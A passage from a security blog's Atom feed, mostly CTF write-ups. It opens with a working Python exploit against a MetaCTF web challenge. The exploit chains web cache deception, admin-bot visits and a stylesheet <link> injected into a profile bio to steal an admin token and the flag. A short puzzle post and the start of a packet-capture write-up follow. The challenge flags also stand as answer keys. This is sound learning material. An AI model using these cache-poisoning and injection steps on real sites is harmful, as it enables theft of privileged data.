&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span&gt; requests&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;... TARGET&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; &amp;quot;http:&#x2F;&#x2F;qu1ktokk.chals.mctf.io&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt; s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; requests.Session()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt; username&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; = f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;attacker_&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span&gt;uuid.uuid4().hex[:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt; r&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; s.post(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;TARGET&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&#x2F;register&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt; data&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;username&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: username,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; &amp;quot;password&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt; &amp;quot;password123&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;})&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt; r.raise_for_status()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt; cache_buster&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; uuid.uuid4().hex[:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt; poisoned_dashboard&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; = f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;TARGET&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&#x2F;dashboard;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span&gt;cache_buster&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;.css&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt; s.post(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;TARGET&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&#x2F;admin&#x2F;visit&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt; json&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;url&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: poisoned_dashboard})&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt; r.raise_for_status()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt; time.sleep(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;20&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt; r&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; requests.get(poisoned_dashboard)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt; r.raise_for_status()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt; match&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; re.search(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;&#x2F;admin&#x2F;secrets&lt;&#x2F;span&gt;&lt;span style=&quot;color: #7EE787;font-weight: bold;&quot;&gt;\?&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;token=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;([&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;a-f0-9&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, r.text)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;... print&lt;&#x2F;span&gt;&lt;span&gt;(match.group(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFA198;font-style: italic;&quot;&gt;3626c94e62cbbd3e3f278ac55b264a22&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;To actually get the flag, one makes use of a &lt;code&gt;&amp;lt;link&amp;gt;&lt;&#x2F;code&gt; (not a &lt;code&gt;&amp;lt;style&amp;gt;&lt;&#x2F;code&gt;): by
referencing a stylesheet at &lt;code&gt;&#x2F;admin&#x2F;secrets&lt;&#x2F;code&gt;, passing the above token, the bot
will retrieve and cache the flag!&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6EDF3; background-color: #0D1117;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; token&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; match.group(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt; cache_buster2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; uuid.uuid4().hex[:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt; secrets_path&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; = f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;&#x2F;admin&#x2F;secrets;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span&gt;cache_buster2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;.css?token=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span&gt;token&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt; bio&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; = f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;#39;&amp;lt;link rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span&gt;secrets_path&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;&amp;gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt; s.post(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;TARGET&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&#x2F;profile&#x2F;update&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt; data&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;bio&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: bio})&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt; r.raise_for_status()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt; profile_url&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; = f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;TARGET&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&#x2F;profile&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span&gt;username&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt; r&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; s.post(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;TARGET&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&#x2F;admin&#x2F;visit&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFA657;&quot;&gt; json&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;url&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;: profile_url})&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt; r.raise_for_status()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt; time.sleep(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;20&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt; r&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; requests.get(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;{&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;TARGET&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;}{&lt;&#x2F;span&gt;&lt;span&gt;secrets_path&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF7B72;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;span&gt; r.raise_for_status()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;... print&lt;&#x2F;span&gt;&lt;span&gt;(r.json()[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;flag&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;])&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;MetaCTF{sp3cul4t1on_rul3s_m33t_c4ch3_d3c3pt1on_g8k2x}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;</content>
        
    </entry>
    <entry xml:lang="en">
        <title>️A Christmas Puzzle</title>
        <published>2025-12-12T00:00:00+00:00</published>
        <updated>2025-12-12T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              PsypherPunk
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.psypherpunk.io/blog/a-christmas-puzzle/"/>
        <id>https://blog.psypherpunk.io/blog/a-christmas-puzzle/</id>
        
        <content type="html" xml:base="https://blog.psypherpunk.io/blog/a-christmas-puzzle/">&lt;p&gt;With &lt;em&gt;Advent of Code&lt;&#x2F;em&gt; running a little
&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;adventofcode.com&#x2F;2025&#x2F;about#faq_num_days&quot;&gt;shorter&lt;&#x2F;a&gt; this year, I put
together a quick puzzle with which I challenged the folks at work.&lt;&#x2F;p&gt;
&lt;p&gt;With the exception of one person who, over the course of several days and
numerous guesses, managed to coax an LLM into giving them the right answer, it
is as yet unsolved.&lt;&#x2F;p&gt;
&lt;p&gt;So here it is: there’s a message hidden in this file—what is it?&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a href=&quot;&#x2F;a-christmas-carol.b64&quot;&gt;&lt;code&gt;a-christmas-carol.b64&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>️🏴 MetaCTF August 2025 Flash CTF</title>
        <published>2025-08-29T00:00:00+00:00</published>
        <updated>2025-08-29T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              PsypherPunk
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blog.psypherpunk.io/blog/metactf-august-2025-flash-ctf/"/>
        <id>https://blog.psypherpunk.io/blog/metactf-august-2025-flash-ctf/</id>
        
        <content type="html" xml:base="https://blog.psypherpunk.io/blog/metactf-august-2025-flash-ctf/">&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;A free monthly mini CTF competition organized by MetaCTF with support from
Antisyphon Training, TCM Security, and Simply Cyber Academy. There will be 5
challenges and you will have 2 hours to solve as many as you can. This CTF
will include both beginner and difficult challenges.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Details here: &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;app.metactf.com&#x2F;join&#x2F;aug2025&quot;&gt;https:&#x2F;&#x2F;app.metactf.com&#x2F;join&#x2F;aug2025&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;baby-something&quot;&gt;Baby Something&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;How does the song go again? Baby something do do do do do do…&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;em&gt;Download the artifact
&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;metaproblems.com&#x2F;68cac23cb90cd83f95380ab13319f799&#x2F;babysomething.pcap&quot;&gt;here&lt;&#x2F;a&gt;.&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;The provided packet capture is involves only a single HTTP request&#x2F;response,
the latter of which, courtesy of Wireshare (as hinted at in the
description—thanks for that earworm), contains HTML and the flag:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6EDF3; background-color: #0D1117;&quot;&gt;&lt;code data-lang=&quot;html&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;!&lt;&#x2F;span&gt;&lt;span style=&quot;color: #7EE787;&quot;&gt;doctype&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; html&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #7EE787;&quot;&gt;html&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; lang&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;en&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #7EE787;&quot;&gt;head&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #7EE787;&quot;&gt;meta&lt;&#x2F;span&gt;&lt;span style=&quot;color: #79C0FF;&quot;&gt; charset&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A5D6FF;&quot;&gt;&amp;quot;utf-8&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #7EE787;&quot;&gt;title&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Baby Shark Fan Page&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #7EE787;&quot;&gt;title&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #7EE787;&quot;&gt;head&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #7EE787;&quot;&gt;body&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #7EE787;&quot;&gt;h1&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;Baby Shark Fan Page&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #7EE787;&quot;&gt;h1&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #7EE787;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;doo doo doo doo doo doo ð¦&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #7EE787;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
